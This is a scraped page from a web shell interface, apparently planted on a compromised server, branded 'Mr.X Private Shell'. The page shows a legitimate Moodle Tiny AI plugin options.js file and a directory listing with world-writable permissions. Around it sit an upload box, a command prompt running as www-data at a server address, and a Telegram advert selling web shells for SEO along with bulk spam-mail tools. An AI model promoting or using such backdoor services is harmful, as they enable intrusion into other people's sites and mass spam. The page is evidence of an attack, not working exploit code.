__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Options helper for Tiny AI plugin.
 *
 * @module      tiny_aiplacement/options
 * @copyright   2023 Matt Porritt <matt.porritt@moodle.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import {getPluginOptionName} from 'editor_tiny/options';
import {pluginName} from 'tiny_aiplacement/common';

const contextIdName = getPluginOptionName(pluginName, 'contextid');
const userIdName = getPluginOptionName(pluginName, 'userid');
const textAllowedName = getPluginOptionName(pluginName, 'generate_text');
const imageAllowedName = getPluginOptionName(pluginName, 'generate_image');
const policyAgreedName = getPluginOptionName(pluginName, 'policyagreed');

/**
 * Options registration function.
 *
 * @param {tinyMCE} editor
 */
export const register = (editor) => {
    const registerOption = editor.options.register;

    registerOption(contextIdName, {
        processor: 'number',
        "default": 0,
    });

    registerOption(userIdName, {
        processor: 'number',
        "default": 0,
    });

    registerOption(textAllowedName, {
        processor: 'boolean',
        "default": false,
    });

    registerOption(imageAllowedName, {
        processor: 'boolean',
        "default": false,
    });

    registerOption(policyAgreedName, {
        processor: 'boolean',
        "default": false,
    });
};

/**
 * Fetch the context ID value for this editor instance.
 *
 * @param {tinyMCE} editor The editor instance to fetch the value for
 * @returns {int} The value of the contextIdName option
 */
export const getContextId = (editor) => editor.options.get(contextIdName);

/**
 * Fetch the user ID value for this editor instance.
 *
 * @param {tinyMCE} editor The editor instance to fetch the value for
 * @returns {int} The value of the userIdName option
 */
export const getUserId = (editor) => editor.options.get(userIdName);

/**
 * Whether text generation is allowed in this instance.
 *
 * @param {TinyMCE} editor
 * @returns {boolean}
 */
export const isTextAllowed = (editor) => editor.options.get(textAllowedName);

/**
 * Whether image generation is allowed in this instance.
 *
 * @param {TinyMCE} editor
 * @returns {boolean}
 */
export const isImageAllowed = (editor) => editor.options.get(imageAllowedName);

export const isPolicyAgreed = (editor) => editor.options.get(policyAgreedName);

Filemanager

Name Type Size Permission Actions
commands.js File 4.9 KB 0777
common.js File 1.32 KB 0777
configuration.js File 2.67 KB 0777
generatebase.js File 6.04 KB 0777
generateimage.js File 7.42 KB 0777
generatetext.js File 7.35 KB 0777
imagemodal.js File 1.07 KB 0777
loading.js File 2.08 KB 0777
mediaimage.js File 2.47 KB 0777
options.js File 2.97 KB 0777
plugin.js File 2.19 KB 0777
textmark.js File 4.87 KB 0777
textmodal.js File 2.06 KB 0777
Filemanager